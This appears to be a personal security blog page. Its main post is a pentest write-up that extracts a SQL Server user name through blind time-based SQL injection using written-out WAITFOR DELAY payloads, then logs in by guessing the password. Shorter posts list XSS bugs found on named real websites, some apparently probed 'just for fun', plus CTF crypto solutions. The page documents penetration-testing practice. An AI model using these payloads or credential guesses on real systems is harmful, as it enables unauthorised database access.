MySQL Blind Time Based Technique

O hye everyone! seems my blog full with XSS collections nowdays and yeah..some of you might not interest in these stuff since its quite childish..but well..i'm too lazy to update my blog LOL.

But today,I felt guilty for my blog and here you go..another experience with my client for their client/server application.

Remember this Blind Oracle Injection in client/server on my previous previous preeeeviiiiooouussss post? haha. well this time, few weeks ago, I had instructed by boss to do a pentest on one of the client's application.
The application using java servlet environment as well, a client/server application. Well, this time I cant use my own computer. Need to use their development testing computer. Without any internet connection, it quite tough for me to gain some information from the internet.

Browsing a little on the application. Checking how it works..hurmm..nothing interesting..just a simple client/server application but quite complicated module such the previous I did tested..
hmmm..ouh?! suddenly..
there's a search box where I can try to search a valid customer by entering their name...ahaa..this quite interesting..its similar to the previous thing I found.
I tried to check a valid user.
ahaa..ahaa..its appear..

then..with the power of single quote!

woops!!! OMG! OMG! OMG!..haha..so there's a probability SQL Injection on it! owh how lucky.

but since there are some limitation on it. I tried to count columns,its available but using a union based method wont successfull. hurmm..
what is should do? ah.go for lunch first :D

during my lunch, I tried to browse some good information on SQLi. owh yeah, since I already know the backend of the server is running on SQL Server, this will narrow up my point of search.
here are some of my reference
http://technet.microsoft.com/en-us/library/cc512676.aspx
and of course the greatest cheatsheet, http://pentestmonkey.net/category/cheat-sheet

back from lunch!
Trying my luck!

bazinga; 1' IF (LEN(USER)=7) WAITFOR DELAY '0:0:10'-- 

it gives a FALSE reply.
* the server will not wait a 10 secs delay since the length of the current user is not 7 chars. 

bazinga; 1' IF (LEN(USER)=8) WAITFOR DELAY '0:0:10'-- 

auw yeah..a TRUE reply
* the server will  wait a 10 secs delay since the length of the current user is exactly 8 chars.


then proceeding to check the current user in case the client need another POC.

bazinga; 1' IF (ASCII(lower(substring((USER),1,1)))>105) WAITFOR DELAY '0:0:10'-- 

its J

bazinga; 1' IF (ASCII(lower(substring((USER),2,1)))>49) WAITFOR DELAY '0:0:5'-- 

its 2

bazinga; 1' IF (ASCII(lower(substring((USER),3,1)))>101) WAITFOR DELAY '0:0:5'-- 

its E

bazinga; 1' IF (ASCII(lower(substring((USER),4,1)))>101) WAITFOR DELAY '0:0:5'-- 

its E

bazinga; 1' IF (ASCII(lower(substring((USER),5,1)))>106) WAITFOR DELAY '0:0:5'-- 

its another J
and no need to proceed anymore since already can guess the current user is j2eejdb

and then,trying my luck using the username as the password as well to connect to the sql server.

gotcha! I'm in it!
thanks for reading :)

p/s boss.if you're reading this..please..dont let me struggling with this client/server application anymore..pleaaseeeee.hahahaa..but,I'll do if there's a..*cough2..increment or..*cough2.bonus..*cough :P

XSS on Airlines.

These are two XSS had been found last few months. Reported but no feedback from them.

Emirates Airlines

Malaysia Airlines

iHack+ 2012 - Hacking Competition

Are you a student from any local university in Malaysia? if Yes, come and join this hacking competition!

a Hacking Competition organized by UiTM for students in Malaysia.
for more info Click Here

RM80,000 awaits you all!!

Help in security issue for Sobi2 Joomla Component

Old stuff, but heh too lazy to update my blog.

The news 

Thanks to Radek Suski because entertain my report :D

Listed on Adobe Security Acknowledgments

thanks Adobe :)

updating my resume immediately! LOL~

XSS in HP.com subdomain.

Its been a while :)

Found an XSS bug in one of Hewlett-Packard  subdomain recently.
Reported and they fixed it. Their team do take this thing seriously and fixed it immediately. kudos to them :D

Above was the original url that I found XSS in it.

Proof of concept

Done!

Thanks. That's all for now :D

XSS on La Liga turn

hi again.
i'm soo into XSS at the moment.so here another two xss found in fcbarcelona and realmadrid for today post

RVP agree joining MUFC

so, today
RVP agree joining MUFC

its not fair if just MUFC got xssed :P.
so here some of the other EPL team.

Wargames2012 - Crypto100,200 Writeups

again, there's a wargames conducted by HiTB KL Crews this year. I'm participated but not doing well just like previous year..since..there were some other commitments during that weekends. So, here are two writeups for crypto

  Crypto100

Easy crypto: 82 73 81 81 61 83 52 62 63 41 74 22 01 42 73 31 74 52 01 21 74 01 71 83 83 01 92 73 83 32 61 73 01 81 62 43 01 74 63 51 01 71 43 92 32 92 92 22 23 43 42 61 01 51 51 72 41 62 81 72 42 22 91 01 74 91 52 74 01 42 33 23 61 23 43 21 61 52 22 01 52 74 42 01 82 63 43 94 92 93 91 32 23 32 01 94 43 01 21 62 21 74 52 81 32 71 91 33 93 01 43 51 63 42 01 32 01 52 53 32 94 63 74 91 42 01 52 81 83 92 92 01 21 74 01 91 31 41 53 82 91 62 63 01 73 42 82 91 21 22 51 71 01 91 94 32 01 51 83 22 62 61 51 63 52 94 82 01 41 33 01 83 73 01 92 82 41 62 61 41 32 42 83 01 61 94 91 53 42 52 21 01 41 93 53 82 91 31 01 63 53 92 01 52 43 93 23 82 81 72 93 01 81 94 41 21 82 61 61 43 83 01 93 42 91 31 94 42 01 61 83 01 83 21 72 33 41 42 51 01 81 23 43 01 42 93 61 23 91 32 53 63 01 21 62 21 74 52 81 32 71 91 33 93 01 73 33 53 81 01 21 22 21 53 01 32 22 52 71 72 83 32 93 01 83 92 51 61 53 91 83 93 91 52 01 81 23 43 52 53 33 82 01 31 43 71 33 31 82 93 61 41 62 01 93 51 52 73 93 91 91 31 01 52 43 52 94 74 51 41 01 52 94 01 41 41 01 81 23 43 01 53 42 72 21 01 41 94 93 33 91 01 91 51 83 32 52 01 21 91 33 01 33 93 42 01 74 62 93 01 92 21 53 01 32 94 51 83 93 91 01 41 33 01 63 53 92 01 51 74 43 31 53 32 42 51 01 81 23 43 01 33 53 92 31 23 82 31 01 92 52 32 93 01 92 42 01 51 32 62 33 71 01 94 92 53 01 23 61 23 43 21 74 42 23 92 51 01 52 74 83 94 01 33 92 51 74 43 74 01 94 93 33 51 32 83 91 22 82 52 42 61 01 81 94 71 42 53 94 22 01 81 82 42 01 32 42 51 01 53 74 42 53 31 41 81 21 61 52 22 01 31 94 82 91 01 91 31 42 92 94 81 62 74 73 63 ------------- Description: ------------ Look carefully! Does it look like hex?

the numbers refers phone keypad. decode it and then you'll get another cipher which is a vignere cipher. decrypt it and you'll get an article about cryptography. the 'key' is a hint to this challenge's flag.

  Crypto200

FN1hJU9XAJZhTF8qbnJENt1XBMd6i0utzJpHCGyVt4yp8LsHYHUJP+/M+37eNjldkx4T5xnliSrIsz/qQHB9PA==

as you can see,this is just a normal base64. decode it and you'll get some scrabble/rubbish/random words+symbols.view hex of the decoded base64 just like below.

yerp.its an md5 hash.you just need to decrypt in and you'll get the flag :) this year,these two are the only crypto challenges that the crew released. maybe quite hard compared last year so players struggle to solve them. thanks.

XSS on Airasia Subdomain

Found a bug on one of airasia.com subdomain. noticed the security team and they fixed it. well,they did fix the current form used, but the one that I found previously still unfixed and maybe will be terminated soon :)

XSS Collections

So I was trying to learn to bypass XSS filtering. and search around google. found that in hackforums or other hacking forums, some of the members always challenge the others to solve their challenge. and some of the sites that they challenge are the famous one. and I manage to solve some of them as well :) Here are some of my XSS collections.Just for fun. Its just a non-persistent xss btw. isohunt.com

Burgerking bk.com

KickAssTOrrent kat.ph

st-secure.com

Shell Oil shell.com

Kaskus Indonesian Forum kaskus.co.id

Puma puma.com

AT&T att.com

and others that you can see from athere